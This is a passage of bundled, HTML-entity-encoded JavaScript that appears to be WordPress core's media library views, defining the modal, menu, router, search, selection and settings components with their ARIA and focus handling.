		// if the browser isn&#039;t supported.
		if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
			this.options.uploader = false;
		}

		// Initialize window-wide uploader.
		if ( this.options.uploader ) {
			this.uploader = new wp.media.view.UploaderWindow({
				controller: this,
				uploader: {
					dropzone:  this.modal ? this.modal.$el : this.$el,
					container: this.$el
				}
			});
			this.views.set( &#039;.media-frame-uploader&#039;, this.uploader );
		}

		this.on( &#039;attach&#039;, _.bind( this.views.ready, this.views ), this );

		// Bind default title creation.
		this.on( &#039;title:create:default&#039;, this.createTitle, this );
		this.title.mode(&#039;default&#039;);

		// Bind default menu.
		this.on( &#039;menu:create:default&#039;, this.createMenu, this );

		// Set the menu ARIA tab panel attributes when the modal opens.
		this.on( &#039;open&#039;, this.setMenuTabPanelAriaAttributes, this );
		// Set the router ARIA tab panel attributes when the modal opens.
		this.on( &#039;open&#039;, this.setRouterTabPanelAriaAttributes, this );

		// Update the menu ARIA tab panel attributes when the content updates.
		this.on( &#039;content:render&#039;, this.setMenuTabPanelAriaAttributes, this );
		// Update the router ARIA tab panel attributes when the content updates.
		this.on( &#039;content:render&#039;, this.setRouterTabPanelAriaAttributes, this );
	},

	/**
	 * Sets the attributes to be used on the menu ARIA tab panel.
	 *
	 * @since 5.3.0
	 *
	 * @return {void}
	 */
	setMenuTabPanelAriaAttributes: function() {
		var stateId = this.state().get( &#039;id&#039; ),
			tabPanelEl = this.$el.find( &#039;.media-frame-tab-panel&#039; ),
			ariaLabelledby;

		tabPanelEl.removeAttr( &#039;role aria-labelledby&#039; );

		if ( this.state().get( &#039;menu&#039; ) &amp;&amp; this.menuView &amp;&amp; this.menuView.isVisible ) {
			ariaLabelledby = &#039;menu-item-&#039; + stateId;

			// Set the tab panel attributes only if the tabs are visible.
			tabPanelEl
				.attr( {
					role: &#039;tabpanel&#039;,
					&#039;aria-labelledby&#039;: ariaLabelledby,
				} );
		}
	},

	/**
	 * Sets the attributes to be used on the router ARIA tab panel.
	 *
	 * @since 5.3.0
	 *
	 * @return {void}
	 */
	setRouterTabPanelAriaAttributes: function() {
		var tabPanelEl = this.$el.find( &#039;.media-frame-content&#039; ),
			ariaLabelledby;

		tabPanelEl.removeAttr( &#039;role aria-labelledby&#039; );

		// Set the tab panel attributes only if the tabs are visible.
		if ( this.state().get( &#039;router&#039; ) &amp;&amp; this.routerView &amp;&amp; this.routerView.isVisible &amp;&amp; this.content._mode ) {
			ariaLabelledby = &#039;menu-item-&#039; + this.content._mode;

			tabPanelEl
				.attr( {
					role: &#039;tabpanel&#039;,
					&#039;aria-labelledby&#039;: ariaLabelledby,
				} );
		}
	},

	/**
	 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
	 */
	render: function() {
		// Activate the default state if no active state exists.
		if ( ! this.state() &amp;&amp; this.options.state ) {
			this.setState( this.options.state );
		}
		/**
		 * call &#039;render&#039; directly on the parent class
		 */
		return Frame.prototype.render.apply( this, arguments );
	},
	/**
	 * @param {Object} title
	 * @this wp.media.controller.Region
	 */
	createTitle: function( title ) {
		title.view = new wp.media.View({
			controller: this,
			tagName: &#039;h1&#039;
		});
	},
	/**
	 * @param {Object} menu
	 * @this wp.media.controller.Region
	 */
	createMenu: function( menu ) {
		menu.view = new wp.media.view.Menu({
			controller: this,

			attributes: {
				role:               &#039;tablist&#039;,
				&#039;aria-orientation&#039;: &#039;vertical&#039;
			}
		});

		this.menuView = menu.view;
	},

	toggleMenu: function( event ) {
		var menu = this.$el.find( &#039;.media-menu&#039; );

		menu.toggleClass( &#039;visible&#039; );
		$( event.target ).attr( &#039;aria-expanded&#039;, menu.hasClass( &#039;visible&#039; ) );
	},

	/**
	 * @param {Object} toolbar
	 * @this wp.media.controller.Region
	 */
	createToolbar: function( toolbar ) {
		toolbar.view = new wp.media.view.Toolbar({
			controller: this
		});
	},
	/**
	 * @param {Object} router
	 * @this wp.media.controller.Region
	 */
	createRouter: function( router ) {
		router.view = new wp.media.view.Router({
			controller: this,

			attributes: {
				role:               &#039;tablist&#039;,
				&#039;aria-orientation&#039;: &#039;horizontal&#039;
			}
		});

		this.routerView = router.view;
	},
	/**
	 * @param {Object} options
	 */
	createIframeStates: function( options ) {
		var settings = wp.media.view.settings,
			tabs = settings.tabs,
			tabUrl = settings.tabUrl,
			$postId;

		if ( ! tabs || ! tabUrl ) {
			return;
		}

		// Add the post ID to the tab URL if it exists.
		$postId = $(&#039;#post_ID&#039;);
		if ( $postId.length ) {
			tabUrl += &#039;&amp;post_id=&#039; + $postId.val();
		}

		// Generate the tab states.
		_.each( tabs, function( title, id ) {
			this.state( &#039;iframe:&#039; + id ).set( _.defaults({
				tab:     id,
				src:     tabUrl + &#039;&amp;tab=&#039; + id,
				title:   title,
				content: &#039;iframe&#039;,
				menu:    &#039;default&#039;
			}, options ) );
		}, this );

		this.on( &#039;content:create:iframe&#039;, this.iframeContent, this );
		this.on( &#039;content:deactivate:iframe&#039;, this.iframeContentCleanup, this );
		this.on( &#039;menu:render:default&#039;, this.iframeMenu, this );
		this.on( &#039;open&#039;, this.hijackThickbox, this );
		this.on( &#039;close&#039;, this.restoreThickbox, this );
	},

	/**
	 * @param {Object} content
	 * @this wp.media.controller.Region
	 */
	iframeContent: function( content ) {
		this.$el.addClass(&#039;hide-toolbar&#039;);
		content.view = new wp.media.view.Iframe({
			controller: this
		});
	},

	iframeContentCleanup: function() {
		this.$el.removeClass(&#039;hide-toolbar&#039;);
	},

	iframeMenu: function( view ) {
		var views = {};

		if ( ! view ) {
			return;
		}

		_.each( wp.media.view.settings.tabs, function( title, id ) {
			views[ &#039;iframe:&#039; + id ] = {
				text: this.state( &#039;iframe:&#039; + id ).get(&#039;title&#039;),
				priority: 200
			};
		}, this );

		view.set( views );
	},

	hijackThickbox: function() {
		var frame = this;

		if ( ! window.tb_remove || this._tb_remove ) {
			return;
		}

		this._tb_remove = window.tb_remove;
		window.tb_remove = function() {
			frame.close();
			frame.reset();
			frame.setState( frame.options.state );
			frame._tb_remove.call( window );
		};
	},

	restoreThickbox: function() {
		if ( ! this._tb_remove ) {
			return;
		}

		window.tb_remove = this._tb_remove;
		delete this._tb_remove;
	}
});

// Map some of the modal&#039;s methods to the frame.
_.each([&#039;open&#039;,&#039;close&#039;,&#039;attach&#039;,&#039;detach&#039;,&#039;escape&#039;], function( method ) {
	/**
	 * @function open
	 * @memberOf wp.media.view.MediaFrame
	 * @instance
	 *
	 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
	 */
	/**
	 * @function close
	 * @memberOf wp.media.view.MediaFrame
	 * @instance
	 *
	 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
	 */
	/**
	 * @function attach
	 * @memberOf wp.media.view.MediaFrame
	 * @instance
	 *
	 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
	 */
	/**
	 * @function detach
	 * @memberOf wp.media.view.MediaFrame
	 * @instance
	 *
	 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
	 */
	/**
	 * @function escape
	 * @memberOf wp.media.view.MediaFrame
	 * @instance
	 *
	 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
	 */
	MediaFrame.prototype[ method ] = function() {
		if ( this.modal ) {
			this.modal[ method ].apply( this.modal, arguments );
		}
		return this;
	};
});

module.exports = MediaFrame;


/***/ },

/***/ 9013
(module) {

var MenuItem;

/**
 * wp.media.view.MenuItem
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
MenuItem = wp.media.View.extend(/** @lends wp.media.view.MenuItem.prototype */{
	tagName:   &#039;button&#039;,
	className: &#039;media-menu-item&#039;,

	attributes: {
		type: &#039;button&#039;,
		role: &#039;tab&#039;
	},

	events: {
		&#039;click&#039;: &#039;_click&#039;
	},

	/**
	 * Allows to override the click event.
	 */
	_click: function() {
		var clickOverride = this.options.click;

		if ( clickOverride ) {
			clickOverride.call( this );
		} else {
			this.click();
		}
	},

	click: function() {
		var state = this.options.state;

		if ( state ) {
			this.controller.setState( state );
			// Toggle the menu visibility in the responsive view.
			this.views.parent.$el.removeClass( &#039;visible&#039; ); // @todo Or hide on any click, see below.
		}
	},

	/**
	 * @return {wp.media.view.MenuItem} returns itself to allow chaining.
	 */
	render: function() {
		var options = this.options,
			menuProperty = options.state || options.contentMode;

		if ( options.text ) {
			this.$el.text( options.text );
		} else if ( options.html ) {
			this.$el.html( options.html );
		}

		// Set the menu item ID based on the frame state associated to the menu item.
		this.$el.attr( &#039;id&#039;, &#039;menu-item-&#039; + menuProperty );

		return this;
	}
});

module.exports = MenuItem;


/***/ },

/***/ 1
(module) {

var MenuItem = wp.media.view.MenuItem,
	PriorityList = wp.media.view.PriorityList,
	Menu;

/**
 * wp.media.view.Menu
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.PriorityList
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Menu = PriorityList.extend(/** @lends wp.media.view.Menu.prototype */{
	tagName:   &#039;div&#039;,
	className: &#039;media-menu&#039;,
	property:  &#039;state&#039;,
	ItemView:  MenuItem,
	region:    &#039;menu&#039;,

	attributes: {
		role:               &#039;tablist&#039;,
		&#039;aria-orientation&#039;: &#039;horizontal&#039;
	},

	initialize: function() {
		this._views = {};

		this.set( _.extend( {}, this._views, this.options.views ), { silent: true });
		delete this.options.views;

		if ( ! this.options.silent ) {
			this.render();
		}

		// Initialize the Focus Manager.
		this.focusManager = new wp.media.view.FocusManager( {
			el:   this.el,
			mode: &#039;tabsNavigation&#039;
		} );

		// The menu is always rendered and can be visible or hidden on some frames.
		this.isVisible = true;
	},

	/**
	 * @param {Object} options
	 * @param {string} id
	 * @return {wp.media.View}
	 */
	toView: function( options, id ) {
		options = options || {};
		options[ this.property ] = options[ this.property ] || id;
		return new this.ItemView( options ).render();
	},

	ready: function() {
		/**
		 * call &#039;ready&#039; directly on the parent class
		 */
		PriorityList.prototype.ready.apply( this, arguments );
		this.visibility();

		// Set up aria tabs initial attributes.
		this.focusManager.setupAriaTabs();
	},

	set: function() {
		/**
		 * call &#039;set&#039; directly on the parent class
		 */
		PriorityList.prototype.set.apply( this, arguments );
		this.visibility();
	},

	unset: function() {
		/**
		 * call &#039;unset&#039; directly on the parent class
		 */
		PriorityList.prototype.unset.apply( this, arguments );
		this.visibility();
	},

	visibility: function() {
		var region = this.region,
			view = this.controller[ region ].get(),
			views = this.views.get(),
			hide = ! views || views.length &lt; 2;

		if ( this === view ) {
			// Flag this menu as hidden or visible.
			this.isVisible = ! hide;
			// Set or remove a CSS class to hide the menu.
			this.controller.$el.toggleClass( &#039;hide-&#039; + region, hide );
		}
	},
	/**
	 * @param {string} id
	 */
	select: function( id ) {
		var view = this.get( id );

		if ( ! view ) {
			return;
		}

		this.deselect();
		view.$el.addClass(&#039;active&#039;);

		// Set up again the aria tabs initial attributes after the menu updates.
		this.focusManager.setupAriaTabs();
	},

	deselect: function() {
		this.$el.children().removeClass(&#039;active&#039;);
	},

	hide: function( id ) {
		var view = this.get( id );

		if ( ! view ) {
			return;
		}

		view.$el.addClass(&#039;hidden&#039;);
	},

	show: function( id ) {
		var view = this.get( id );

		if ( ! view ) {
			return;
		}

		view.$el.removeClass(&#039;hidden&#039;);
	}
});

module.exports = Menu;


/***/ },

/***/ 2621
(module) {

var $ = jQuery,
	Modal;

/**
 * wp.media.view.Modal
 *
 * A modal view, which the media modal uses as its default container.
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Modal = wp.media.View.extend(/** @lends wp.media.view.Modal.prototype */{
	tagName:  &#039;div&#039;,
	template: wp.template(&#039;media-modal&#039;),

	events: {
		&#039;click .media-modal-backdrop, .media-modal-close&#039;: &#039;escapeHandler&#039;,
		&#039;keydown&#039;: &#039;keydown&#039;
	},

	clickedOpenerEl: null,

	initialize: function() {
		_.defaults( this.options, {
			container:      document.body,
			title:          &#039;&#039;,
			propagate:      true,
			hasCloseButton: true
		});

		this.focusManager = new wp.media.view.FocusManager({
			el: this.el
		});
	},
	/**
	 * @return {Object}
	 */
	prepare: function() {
		return {
			title:          this.options.title,
			hasCloseButton: this.options.hasCloseButton
		};
	},

	/**
	 * @return {wp.media.view.Modal} Returns itself to allow chaining.
	 */
	attach: function() {
		if ( this.views.attached ) {
			return this;
		}

		if ( ! this.views.rendered ) {
			this.render();
		}

		this.$el.appendTo( this.options.container );

		// Manually mark the view as attached and trigger ready.
		this.views.attached = true;
		this.views.ready();

		return this.propagate(&#039;attach&#039;);
	},

	/**
	 * @return {wp.media.view.Modal} Returns itself to allow chaining.
	 */
	detach: function() {
		if ( this.$el.is(&#039;:visible&#039;) ) {
			this.close();
		}

		this.$el.detach();
		this.views.attached = false;
		return this.propagate(&#039;detach&#039;);
	},

	/**
	 * @return {wp.media.view.Modal} Returns itself to allow chaining.
	 */
	open: function() {
		var $el = this.$el,
			mceEditor;

		if ( $el.is(&#039;:visible&#039;) ) {
			return this;
		}

		this.clickedOpenerEl = document.activeElement;

		if ( ! this.views.attached ) {
			this.attach();
		}

		// Disable page scrolling.
		$( &#039;body&#039; ).addClass( &#039;modal-open&#039; );

		$el.show();

		// Try to close the onscreen keyboard.
		if ( &#039;ontouchend&#039; in document ) {
			if ( ( mceEditor = window.tinymce &amp;&amp; window.tinymce.activeEditor ) &amp;&amp; ! mceEditor.isHidden() &amp;&amp; mceEditor.iframeElement ) {
				mceEditor.iframeElement.focus();
				mceEditor.iframeElement.blur();

				setTimeout( function() {
					mceEditor.iframeElement.blur();
				}, 100 );
			}
		}

		// Set initial focus on the content instead of this view element, to avoid page scrolling.
		this.$( &#039;.media-modal&#039; ).trigger( &#039;focus&#039; );

		// Hide the page content from assistive technologies.
		this.focusManager.setAriaHiddenOnBodyChildren( $el );

		return this.propagate(&#039;open&#039;);
	},

	/**
	 * @param {Object} options
	 * @return {wp.media.view.Modal} Returns itself to allow chaining.
	 */
	close: function( options ) {
		if ( ! this.views.attached || ! this.$el.is(&#039;:visible&#039;) ) {
			return this;
		}

		// Pause current audio/video even after closing the modal.
		$( &#039;.mejs-pause button&#039; ).trigger( &#039;click&#039; );

		// Enable page scrolling.
		$( &#039;body&#039; ).removeClass( &#039;modal-open&#039; );

		// Hide the modal element by adding display:none.
		this.$el.hide();

		/*
		 * Make visible again to assistive technologies all body children that
		 * have been made hidden when the modal opened.
		 */
		this.focusManager.removeAriaHiddenFromBodyChildren();

		// Move focus back in useful location once modal is closed.
		if ( null !== this.clickedOpenerEl ) {
			// Move focus back to the element that opened the modal.
			this.clickedOpenerEl.focus();
		} else {
			// Fallback to the admin page main element.
			$( &#039;#wpbody-content&#039; )
				.attr( &#039;tabindex&#039;, &#039;-1&#039; )
				.trigger( &#039;focus&#039; );
		}

		this.propagate(&#039;close&#039;);

		if ( options &amp;&amp; options.escape ) {
			this.propagate(&#039;escape&#039;);
		}

		return this;
	},
	/**
	 * @return {wp.media.view.Modal} Returns itself to allow chaining.
	 */
	escape: function() {
		return this.close({ escape: true });
	},
	/**
	 * @param {Object} event
	 */
	escapeHandler: function( event ) {
		event.preventDefault();
		this.escape();
	},

	/**
	 * Handles the selection of attachments when the command or control key is pressed with the enter key.
	 *
	 * @since 6.7
	 *
	 * @param {Object} event The keydown event object.
	 */
	selectHandler: function( event ) {
		var selection = this.controller.state().get( &#039;selection&#039; );

		if ( selection.length &lt;= 0 ) {
			return;
		}

		if ( &#039;insert&#039; === this.controller.options.state ) {
			this.controller.trigger( &#039;insert&#039;, selection );
		} else {
			this.controller.trigger( &#039;select&#039;, selection );
			event.preventDefault();
			this.escape();
		}
	},

	/**
	 * @param {Array|Object} content Views to register to &#039;.media-modal-content&#039;
	 * @return {wp.media.view.Modal} Returns itself to allow chaining.
	 */
	content: function( content ) {
		this.views.set( &#039;.media-modal-content&#039;, content );
		return this;
	},

	/**
	 * Triggers a modal event and if the `propagate` option is set,
	 * forwards events to the modal&#039;s controller.
	 *
	 * @param {string} id
	 * @return {wp.media.view.Modal} Returns itself to allow chaining.
	 */
	propagate: function( id ) {
		this.trigger( id );

		if ( this.options.propagate ) {
			this.controller.trigger( id );
		}

		return this;
	},
	/**
	 * @param {Object} event
	 */
	keydown: function( event ) {
		// Close the modal when escape is pressed.
		if ( 27 === event.which &amp;&amp; this.$el.is(&#039;:visible&#039;) ) {
			this.escape();
			event.stopImmediatePropagation();
		}

		// Select the attachment when command or control and enter are pressed.
		if ( ( 13 === event.which || 10 === event.which ) &amp;&amp; ( event.metaKey || event.ctrlKey ) ) {
			this.selectHandler( event );
			event.stopImmediatePropagation();
		}

	}
});

module.exports = Modal;


/***/ },

/***/ 8815
(module) {

/**
 * wp.media.view.PriorityList
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var PriorityList = wp.media.View.extend(/** @lends wp.media.view.PriorityList.prototype */{
	tagName:   &#039;div&#039;,

	initialize: function() {
		this._views = {};

		this.set( _.extend( {}, this._views, this.options.views ), { silent: true });
		delete this.options.views;

		if ( ! this.options.silent ) {
			this.render();
		}
	},
	/**
	 * @param {string} id
	 * @param {wp.media.View|Object} view
	 * @param {Object} options
	 * @return {wp.media.view.PriorityList} Returns itself to allow chaining.
	 */
	set: function( id, view, options ) {
		var priority, views, index;

		options = options || {};

		// Accept an object with an `id` : `view` mapping.
		if ( _.isObject( id ) ) {
			_.each( id, function( view, id ) {
				this.set( id, view );
			}, this );
			return this;
		}

		if ( ! (view instanceof Backbone.View) ) {
			view = this.toView( view, id, options );
		}
		view.controller = view.controller || this.controller;

		this.unset( id );

		priority = view.options.priority || 10;
		views = this.views.get() || [];

		_.find( views, function( existing, i ) {
			if ( existing.options.priority &gt; priority ) {
				index = i;
				return true;
			}
		});

		this._views[ id ] = view;
		this.views.add( view, {
			at: _.isNumber( index ) ? index : views.length || 0
		});

		return this;
	},
	/**
	 * @param {string} id
	 * @return {wp.media.View}
	 */
	get: function( id ) {
		return this._views[ id ];
	},
	/**
	 * @param {string} id
	 * @return {wp.media.view.PriorityList}
	 */
	unset: function( id ) {
		var view = this.get( id );

		if ( view ) {
			view.remove();
		}

		delete this._views[ id ];
		return this;
	},
	/**
	 * @param {Object} options
	 * @return {wp.media.View}
	 */
	toView: function( options ) {
		return new wp.media.View( options );
	}
});

module.exports = PriorityList;


/***/ },

/***/ 6327
(module) {

/**
 * wp.media.view.RouterItem
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.MenuItem
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var RouterItem = wp.media.view.MenuItem.extend(/** @lends wp.media.view.RouterItem.prototype */{
	/**
	 * On click handler to activate the content region&#039;s corresponding mode.
	 */
	click: function() {
		var contentMode = this.options.contentMode;
		if ( contentMode ) {
			this.controller.content.mode( contentMode );
		}
	}
});

module.exports = RouterItem;


/***/ },

/***/ 4783
(module) {

var Menu = wp.media.view.Menu,
	Router;

/**
 * wp.media.view.Router
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.Menu
 * @augments wp.media.view.PriorityList
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Router = Menu.extend(/** @lends wp.media.view.Router.prototype */{
	tagName:   &#039;div&#039;,
	className: &#039;media-router&#039;,
	property:  &#039;contentMode&#039;,
	ItemView:  wp.media.view.RouterItem,
	region:    &#039;router&#039;,

	attributes: {
		role:               &#039;tablist&#039;,
		&#039;aria-orientation&#039;: &#039;horizontal&#039;
	},

	initialize: function() {
		this.controller.on( &#039;content:render&#039;, this.update, this );
		// Call &#039;initialize&#039; directly on the parent class.
		Menu.prototype.initialize.apply( this, arguments );
	},

	update: function() {
		var mode = this.controller.content.mode();
		if ( mode ) {
			this.select( mode );
		}
	}
});

module.exports = Router;


/***/ },

/***/ 2102
(module) {

var Search;

/**
 * wp.media.view.Search
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Search = wp.media.View.extend(/** @lends wp.media.view.Search.prototype */{
	tagName:   &#039;input&#039;,
	className: &#039;search&#039;,
	id:        &#039;media-search-input&#039;,

	attributes: {
		type: &#039;search&#039;
	},

	events: {
		&#039;input&#039;: &#039;search&#039;
	},

	/**
	 * @return {wp.media.view.Search} Returns itself to allow chaining.
	 */
	render: function() {
		this.el.value = this.model.escape(&#039;search&#039;);
		return this;
	},

	search: _.debounce( function( event ) {
		var searchTerm = event.target.value.trim();

		// Trigger the search only after 2 ASCII characters.
		if ( searchTerm &amp;&amp; searchTerm.length &gt; 1 ) {
			this.model.set( &#039;search&#039;, searchTerm );
		} else {
			this.model.unset( &#039;search&#039; );
		}
	}, 500 )
});

module.exports = Search;


/***/ },

/***/ 8282
(module) {

var _n = wp.i18n._n,
	sprintf = wp.i18n.sprintf,
	Selection;

/**
 * wp.media.view.Selection
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Selection = wp.media.View.extend(/** @lends wp.media.view.Selection.prototype */{
	tagName:   &#039;div&#039;,
	className: &#039;media-selection&#039;,
	template:  wp.template(&#039;media-selection&#039;),

	events: {
		&#039;click .edit-selection&#039;:  &#039;edit&#039;,
		&#039;click .clear-selection&#039;: &#039;clear&#039;
	},

	initialize: function() {
		_.defaults( this.options, {
			editable:  false,
			clearable: true
		});

		/**
		 * @member {wp.media.view.Attachments.Selection}
		 */
		this.attachments = new wp.media.view.Attachments.Selection({
			controller: this.controller,
			collection: this.collection,
			selection:  this.collection,
			model:      new Backbone.Model()
		});

		this.views.set( &#039;.selection-view&#039;, this.attachments );
		this.collection.on( &#039;add remove reset&#039;, this.refresh, this );
		this.controller.on( &#039;content:activate&#039;, this.refresh, this );
	},

	ready: function() {
		this.refresh();
	},

	refresh: function() {
		// If the selection hasn&#039;t been rendered, bail.
		if ( ! this.$el.children().length ) {
			return;
		}

		var collection = this.collection,
			editing = &#039;edit-selection&#039; === this.controller.content.mode();

		// If nothing is selected, display nothing.
		this.$el.toggleClass( &#039;empty&#039;, ! collection.length );
		this.$el.toggleClass( &#039;one&#039;, 1 === collection.length );
		this.$el.toggleClass( &#039;editing&#039;, editing );

		this.$( &#039;.count&#039; ).text(
			/* translators: %s: Number of selected media attachments. */
			sprintf( _n( &#039;%s item selected&#039;, &#039;%s items selected&#039;, collection.length ), collection.length )
		);
	},

	edit: function( event ) {
		event.preventDefault();
		if ( this.options.editable ) {
			this.options.editable.call( this, this.collection );
		}
	},

	clear: function( event ) {
		event.preventDefault();
		this.collection.reset();

		// Move focus to the modal.
		this.controller.modal.focusManager.focus();
	}
});

module.exports = Selection;


/***/ },

/***/ 1915
(module) {

var View = wp.media.View,
	$ = Backbone.$,
	Settings;

/**
 * wp.media.view.Settings
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Settings = View.extend(/** @lends wp.media.view.Settings.prototype */{
	events: {
		&#039;click button&#039;:    &#039;updateHandler&#039;,
		&#039;change input&#039;:    &#039;updateHandler&#039;,
		&#039;change select&#039;:   &#039;updateHandler&#039;,
		&#039;change textarea&#039;: &#039;updateHandler&#039;
	},

	initialize: function() {
		this.model = this.model || new Backbone.Model();
		this.listenTo( this.model, &#039;change&#039;, this.updateChanges );
	},

	prepare: function() {
		return _.defaults({
			model: this.model.toJSON()
		}, this.options );
	},
	/**
	 * @return {wp.media.view.Settings} Returns itself to allow chaining.
	 */
	render: function() {
		View.prototype.render.apply( this, arguments );
		// Select the correct values.
		_( this.model.attributes ).chain().keys().each( this.update, this );
		return this;
	},
	/**
	 * @param {string} key
	 */
	update: function( key ) {
		var value = this.model.get( key ),
			$setting = this.$(&#039;[data-setting=&quot;&#039; + key + &#039;&quot;]&#039;),
			$buttons, $value;

		// Bail if we didn&#039;t find a matching setting.
		if ( ! $setting.length ) {
			return;
		}

		// Attempt to determine how the setting is rendered and update
		// the selected value.

		// Handle dropdowns.
		if ( $setting.is(&#039;select&#039;) ) {
			$value = $setting.find(&#039;[value=&quot;&#039; + value + &#039;&quot;]&#039;);

			if ( $value.length ) {
				$setting.find(&#039;option&#039;).prop( &#039;selected&#039;, false );
				$value.prop( &#039;selected&#039;, true );
			} else {
				// If we can&#039;t find the desired value, record what *is* selected.
				this.model.set( key, $setting.find(&#039;:selected&#039;).val() );
			}

		// Handle button groups.
		} else if ( $setting.hasClass(&#039;button-group&#039;) ) {
			$buttons = $setting.find( &#039;button&#039; )
				.removeClass( &#039;active&#039; )
				.attr( &#039;aria-pressed&#039;, &#039;false&#039; );
			$buttons.filter( &#039;[value=&quot;&#039; + value + &#039;&quot;]&#039; )
				.addClass( &#039;active&#039; )
				.attr( &#039;aria-pressed&#039;, &#039;true&#039; );

		// Handle text inputs and textareas.
		} else if ( $setting.is(&#039;input[type=&quot;text&quot;], textarea&#039;) ) {
			if ( ! $setting.is(&#039;:focus&#039;) ) {
				$setting.val( value );
			}
		// Handle checkboxes.
		} else if ( $setting.is(&#039;input[type=&quot;checkbox&quot;]&#039;) ) {
			$setting.prop( &#039;checked&#039;, !! value &amp;&amp; &#039;false&#039; !== value );
		}
	},
	/**
	 * @param {Object} event
	 */
	updateHandler: function( event ) {
		var $setting = $( event.target ).closest(&#039;[data-setting]&#039;),
			value = event.target.value,
			userSetting;

		event.preventDefault();

		if ( ! $setting.length ) {
			return;
		}

		// Use the correct value for checkboxes.
		if ( $setting.is(&#039;input[type=&quot;checkbox&quot;]&#039;) ) {
			value = $setting[0].checked;
		}

		// Update the corresponding setting.
		this.model.set( $setting.data(&#039;setting&#039;), value );

		// If the setting has a corresponding user setting,
		// update that as well.
		userSetting = $setting.data(&#039;userSetting&#039;);
		if ( userSetting ) {
			window.setUserSetting( userSetting, value );
		}
	},

	updateChanges: function( model ) {
		if ( model.hasChanged() ) {
			_( model.changed ).chain().keys().each( this.update, this );
		}
	}
});

module.exports = Settings;


/***/ },

/***/ 7656
(module) {

var Settings = wp.media.view.Settings,
	AttachmentDisplay;

/**
 * wp.media.view.Settings.AttachmentDisplay
 *
 * @memberOf wp.media.view.Settings
 *
 * @class
 * @augments wp.media.view.Settings
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
AttachmentDisplay = Settings.extend(/** @lends wp.media.view.Settings.AttachmentDisplay.prototype */{
	className: &#039;attachment-display-settings&#039;,
	template:  wp.template(&#039;attachment-display-settings&#039;),

	initialize: function() {
		var attachment = this.options.attachment;

		_.defaults( this.options, {
			userSettings: false
		});
		// Call &#039;initialize&#039; directly on the parent class.
		Settings.prototype.initialize.apply( this, arguments );
		this.listenTo( this.model, &#039;change:link&#039;, this.updateLinkTo );

		if ( attachment ) {
			attachment.on( &#039;change:uploading&#039;, this.render, this );
		}
	},

	dispose: function() {
		var attachment = this.options.attachment;
		if ( attachment ) {
			attachment.off( null, null, this );
		}
		/**
		 * call &#039;dispose&#039; directly on the parent class
		 */
		Settings.prototype.dispose.apply( this, arguments );
	},
	/**
	 * @return {wp.media.view.AttachmentDisplay} Returns itself to allow chaining.
	 */
	render: function() {
		var attachment = this.options.attachment;
		if ( attachment ) {
			_.extend( this.options, {
				sizes: attachment.get(&#039;sizes&#039;),
				type:  attachment.get(&#039;type&#039;)
			});
		}
		/**
		 * call &#039;render&#039; directly on the parent class
		 */
		Settings.prototype.render.call( this );
		this.updateLinkTo();
		return this;
	},

	updateLinkTo: function() {
		var linkTo = this.model.get(&#039;link&#039;),
			$input = this.$(&#039;.link-to-custom&#039;),
			attachment = this.options.attachment;

		if ( &#039;none&#039; === linkTo || &#039;embed&#039; === linkTo || ( ! attachment &amp;&amp; &#039;custom&#039; !== linkTo ) ) {
			$input.closest( &#039;.setting&#039; ).addClass( &#039;hidden&#039; );
			return;
		}

		if ( attachment ) {
			if ( &#039;post&#039; === linkTo ) {
				$input.val( attachment.get(&#039;link&#039;) );
			} else if ( &#039;file&#039; === linkTo ) {
				$input.val( attachment.get(&#039;url&#039;) );
			} else if ( ! this.model.get(&#039;linkUrl&#039;) ) {
				$input.val(&#039;http://&#039;);
			}

			$input.prop( &#039;readonly&#039;, &#039;custom&#039; !== linkTo );
		}

		$input.closest( &#039;.setting&#039; ).removeClass( &#039;hidden&#039; );
		if ( $input.length ) {
			$input[0].scrollIntoView();
		}
	}
});

module.exports = AttachmentDisplay;


/***/ },

/***/ 7266
(module) {

/**
 * wp.media.view.Settings.Gallery
 *
 * @memberOf wp.media.view.Settings
 *
 * @class
 * @augments wp.media.view.Settings
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Gallery = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Gallery.prototype */{
	className: &#039;collection-settings gallery-settings&#039;,
	template:  wp.template(&#039;gallery-settings&#039;)
});

module.exports = Gallery;


/***/ },

/***/ 2356
(module) {

/**
 * wp.media.view.Settings.Playlist
 *
 * @memberOf wp.media.view.Settings
 *
 * @class
 * @augments wp.media.view.Settings
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Playlist = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Playlist.prototype */{
	className: &#039;collection-settings playlist-settings&#039;,
	template:  wp.template(&#039;playlist-settings&#039;)
});

module.exports = Playlist;


/***/ },

/***/ 1992
(module) {

/**
 * wp.media.view.Sidebar
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.PriorityList
 * @augments wp.media.View
